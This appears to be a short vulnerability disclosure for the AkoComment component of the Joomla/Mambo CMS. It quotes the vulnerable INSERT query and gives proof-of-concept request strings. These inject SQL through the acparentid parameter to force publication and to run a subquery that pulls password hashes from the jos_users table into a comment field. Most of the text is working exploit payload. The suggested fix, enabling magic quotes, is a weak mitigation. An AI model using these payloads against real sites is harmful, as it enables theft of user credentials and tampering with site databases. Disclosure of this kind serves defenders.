$query2 = "INSERT INTO #__akocomment SET parentid='$acparentid',
contentid='$contentid', ip='$ip', name='$acname', title='$title',
comment='$comment', date='$date', published='$ac_autopublish';";
there are two SQL injection.
POC:
<INPUT TYPE='hidden' NAME='acitemid' value='9'><INPUT TYPE='hidden'
NAME='acparentid' value=''><INPUT TYPE='hidden' NAME='contentid'
value='633'>
acparentid=633 e acitemid=9
option=com_akocomment&acitemid=9&acparentid=&contentid=633&func=entry&ac
name=Visitatore&title=aa&comment=af&hid_security_word=db17bc578c383f5bb0
cb9be70c42331c&security_word=dsq
option=com_akocomment&hid_security_word=db17bc578c383f5bb0cb9be70c42331c
&security_word=dsq&acitemid=9&acparentid=633',contentid=9,ip='127.0.0.1'
,name='test',title='titolo',comment='commento',date=0,published=1/*
option=com_akocomment&hid_security_word=db17bc578c383f5bb0cb9be70c42331c
&security_word=dsq&acitemid=9&acparentid=633',contentid=9,ip='127.0.0.1'
,name=(select
top 1 password from
jos_users),title='titulo',comment='commento',date=0,published=1/*
it work only for magic quotes are off.
alpha fix: enable magic quotes.
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